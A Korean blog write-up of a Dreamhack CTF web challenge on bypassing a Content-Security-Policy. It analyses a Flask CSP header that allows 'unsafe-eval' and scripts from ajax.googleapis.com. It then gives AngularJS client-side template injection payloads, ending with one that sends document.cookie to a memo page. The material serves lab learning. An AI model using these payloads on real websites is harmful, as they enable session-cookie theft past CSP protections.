문제를 살펴보면 이전의 문제들과 마찬가지로 /vuln, /memo, /flag 페이지가 존재한다.
엔드포인트 분석
add_header() 함수
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
nonce = os.urandom(16).hex()
return response
위의 CSP를 확인해보면
'unsafe-eval' https://ajax.googleapis.com;
라는 정책이 포함되어 있는 것을 확인할수 있다. 해당 정책은 eval함수의 사용을 허용하고 "https://ajax.googleapis.com/" 에서 가져오는 외부 스크립트 또한 허용한다. 하지만 우리는 nonce 값을 모르기 때문에 xss 공격을 수행할수 없다. 따라서 client side template injection을 통해 CSP 정책을 우회해야한다.
익스플로잇
플래그를 획득하기 위해 사용할 AngularJS 파일은 https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js를 사용할 예정이다.
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>
--> AngularJS 내에서 자바스크립트 코드를 실행하기 위해 constructor.constructor 생성자를 활용하였다.

따라서 쿠키를 탈취하기 위해서는
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("location.href='/memo?memo='+document.cookie") ()}}</html>
위와 같은 페이로드를 삽입하면 flag를 탈취할수 있다.

'CTF & Wargame(WEB)' 카테고리의 다른 글
| level 2 Relative Path Overwrite (1) | 2025.04.18 |
|---|---|
| level 3 CSS Injection (0) | 2025.04.18 |
| level 1 CSRF Advanced (0) | 2025.04.18 |
| level 3 CSP Bypass Advanced (0) | 2025.04.18 |
| level 2 CSP Bypass (0) | 2025.04.18 |